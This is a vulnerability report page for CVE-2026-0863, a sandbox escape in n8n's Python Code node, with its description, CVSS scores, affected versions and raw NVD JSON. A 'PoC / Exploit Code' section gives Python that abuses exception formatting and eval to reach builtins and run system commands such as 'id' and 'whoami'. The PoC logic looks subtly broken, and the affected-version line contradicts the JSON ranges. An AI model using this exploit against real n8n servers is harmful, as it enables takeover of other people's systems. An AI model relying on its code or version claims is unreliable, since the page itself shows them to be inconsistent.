Security Vulnerability Report
中文
CVE-2026-0863 CVSS 8.5 HIGH

CVE-2026-0863

Published: 2026-01-18 16:15:50
Last Modified: 2026-02-10 17:23:42

Description

Using string formatting and exception handling, an attacker may bypass n8n's python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system. The vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under "Internal" execution mode. If the instance is operating under the "External" execution mode (ex. n8n's official Docker image) - arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n < 0.119.0 (Python Runner相关版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0863 n8n Python Sandbox Escape PoC # This PoC demonstrates escaping n8n's Python sandbox using string formatting # Author: Based on JFrog Research ([email protected]) # Target: n8n instances running in 'Internal' execution mode def exploit_sandbox_escape(): """ n8n Python sandbox escape via exception formatting and implicit code execution. This PoC shows how to bypass sandbox restrictions to achieve RCE. """ try: # Step 1: Trigger exception to expose restricted objects raise Exception("test") except Exception as e: # Step 2: Use string formatting to access __init__.__globals__ # The key is using format specifier to traverse object attributes payload = "{0.__init__.__globals__}".format(type(e)) # Step 3: Access builtins through globals dictionary # This bypasses sandbox restrictions on direct builtins access globals_dict = eval(payload) # Step 4: Get reference to __builtins__ which contains eval/exec builtins = globals_dict.get('__builtins__') if builtins: # Step 5: Execute arbitrary code # Example: Run system command code = "__import__('os').system('id')" result = builtins['eval'](code) return result return None # Alternative method using f-string formatting def alternative_exploit(): """ Alternative sandbox escape using f-string implicit execution. """ try: # Create object with controlled __str__ method class SandboxBypass: def __str__(self): # Access restricted attributes through exception handling return "{0.__init__.__globals__[__builtins__][eval](__import__('os').popen('whoami').read())" raise Exception(SandboxBypass()) except Exception as ex: # Format string triggers implicit code execution return f"{ex}" if __name__ == "__main__": print("CVE-2026-0863 n8n Sandbox Escape PoC") print("This code is for educational purposes only.") # Note: Actual exploitation requires n8n Code node with Python runner

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0863", "sourceIdentifier": "[email protected]", "published": "2026-01-18T16:15:50.450", "lastModified": "2026-02-10T17:23:41.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Using string formatting and exception handling, an attacker may bypass n8n's python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system.\n\nThe vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under \"Internal\" execution mode.\n\nIf the instance is operating under the \"External\" execution mode (ex. n8n's official Docker image) - arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact."}, {"lang": "es", "value": "Usando formato de cadenas y manejo de excepciones, un atacante puede eludir las restricciones del sandbox python-task-executor de n8n y ejecutar código Python arbitrario sin restricciones en el sistema operativo subyacente.\n\nLa vulnerabilidad puede ser explotada a través del bloque de Código por un usuario autenticado con permisos básicos y puede llevar a una toma de control completa de la instancia de n8n en instancias que operan bajo el modo de ejecución 'Internal'.\n\nSi la instancia está operando bajo el modo de ejecución 'External' (ej. la imagen oficial de Docker de n8n) - la ejecución de código arbitrario ocurre dentro de un contenedor Sidecar y no en el nodo principal, lo que reduce significativamente el impacto de la vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.123.14", "matchCriteriaId": "C80B3A94-5FBD-4713-BA71-7E1FD4999072"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.3.5", "matchCriteriaId": "50811F6D-ED48-4B09-BC5F-09D60EE44ABD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.4.0", "versionEndIncluding": "2.4.2", "matchCriteriaId": "ADF10FAB-9911-4234-A45B-0A067A5B0DD7"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://research.jfrog.com/vulnerabilities/n8n-python-runner-sandbox-escape-jfsa-2026-001651077/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.smartkeyss.com/post/cve-2026-0863-python-sandbox-escape-in-n8n-via-exception-formatting-and-implicit-code-execution", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://research.jfrog.com/vulnerabilities/n8n-python-runner-sandbox-escape-jfsa-2026-001651077/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}